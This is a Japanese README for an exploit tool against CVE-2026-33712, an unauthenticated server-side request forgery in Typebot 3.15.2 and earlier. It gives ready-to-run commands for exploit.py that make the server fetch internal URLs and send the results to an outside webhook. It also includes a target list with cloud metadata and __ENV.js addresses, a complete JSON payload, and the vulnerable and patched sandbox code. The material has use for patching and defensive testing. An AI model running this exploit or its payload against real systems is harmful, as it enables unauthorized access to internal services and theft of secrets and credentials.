
CVE-2026-33712 - Typebot <= 3.15.2 未認証SSRF(isolated-vmサンドボックス経由のfetch)
Typebot <= 3.15.2 (3.16.0で修正) には、プレビューチャットエンドポイントに認証されていない Server-Side Request Forgery (SSRF) 脆弱性が存在します。
エンドポイント: POST /api/v1/typebots/{typebotId}/preview/startChat
プレビューエンドポイントは、ユーザーが指定した typebot 定義とサーバーサイドの Code ブロックを受け入れます。isolated-vm サンドボックス内で公開されている fetch() 関数は、通常の HTTP Request ブロックを保護する SSRF 検証 validateHttpReqUrl() なしで Node.js ネイティブの fetch を呼び出します。これにより、すべての SSRF 緩和策がバイパスされます。
このツールは教育目的および許可されたセキュリティテストのために提供されています。自分が所有していない、または明示的な許可を得ていないシステムに対する不正使用は違法です。作者はこのツールの誤用または損害について一切の責任を負いません。
__ENV.js 経由での SMTP_FROM / 管理者メールの漏洩| ファイル | 説明 |
|---|---|
exploit.py | メインのエクスプロイトスクリプト |
endpoints.txt | 1行に1つのURL — スキャンするSSRFターゲット |
requirements.txt | Python 依存関係 |
pip install -r requirements.txt
# 単一のSSRFリクエスト
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid
# endpoints.txt からすべてのURLをスキャン
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan
# ビルダーの __ENV.js からビューアURLを自動検出
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan
# 事前チェックをスキップして強制実行
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force
| 引数 | 説明 |
|---|---|
-t / --target | Typebot インスタンスのURL(ビューアまたはビルダー)。スキームはデフォルトで http:// になります |
-u / --url | SSRF経由で取得する内部URL(シングルモード) |
-w / --webhook | 流出データの送信先Webhook URL(または環境変数 WEBHOOK_URL) |
--scan | endpoints.txt のすべてのURLをスキャン |
--detect-viewer | ターゲットの /__ENV.js をプローブして NEXT_PUBLIC_VIEWER_URL を検出し、それを使用 |
--force | 事前チェックをスキップして強制実行 |
--timeout | リクエストのタイムアウト(デフォルト: 20秒) |
--delay | スキャンリクエスト間の遅延(デフォルト: 0.3秒) |
bot.example.com を http:// なしで渡すと自動的に先頭に追加されます。vulnerable、patched(認証が必要)、または endpoint_missing(間違ったURL/バージョン)に分類します。--force が設定されていない限り、失敗すると早期終了します。endpoints.txt を読み込み、各URLを反復処理し、コンテンツをWebhookに流出させます。各行に生のURLを1つ記述します。空白行は無視されます。コメントやカテゴリはありません。
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/
packages/variables/src/executeFunction.ts では、isolated-vm サンドボックス内で公開されている fetch() は、もともとSSRF検証なしでNode.jsネイティブのfetchを呼び出していました:
// 脆弱 (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const res = await fetch(input, init); // validateHttpReqUrl なし!
return res.text();
}),
});
// 修正済み (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const request = new Request(input, init);
await validateHttpReqUrl(request.url); // SSRFチェック追加
validateHttpReqHeaders(headers);
}),
});
修正 (コミット d96f572) では、getTypebot() のチェック順序も変更され、カスタム typebot ショートカットの 前に 認証検証が実行されるようになり、ビューアのプレビューエンドポイントが procedureWithOptionalUser から protectedProcedure に移動されました。
{
"typebotId": "exploit-id",
"typebot": {
"version": "6",
"id": "exploit-bot",
"workspaceId": "test",
"updatedAt": "2026-01-01T00:00:00.000Z",
"groups": [
{
"id": "group-1", "title": "Start",
"graphCoordinates": {"x": 0, "y": 0},
"blocks": [
{"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
]
},
{
"id": "group-2", "title": "SSRF",
"graphCoordinates": {"x": 200, "y": 0},
"blocks": [
{
"id": "block-2", "type": "Code",
"outgoingEdgeId": "edge-2",
"options": {
"name": "SSRF",
"content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
"isExecutedOnClient": false,
"isUnsafe": true
}
}
]
}
],
"edges": [
{"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
],
"events": [
{"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
],
"variables": [
{"id": "var-1", "name": "result", "value": null}
],
"settings": {"general": {}},
"theme": {"general": {}, "chat": {}}
}
}
Important: サンドボックス内の fetch() は既に .text() を返すため、結果は 文字列 であり、Response オブジェクトではありません。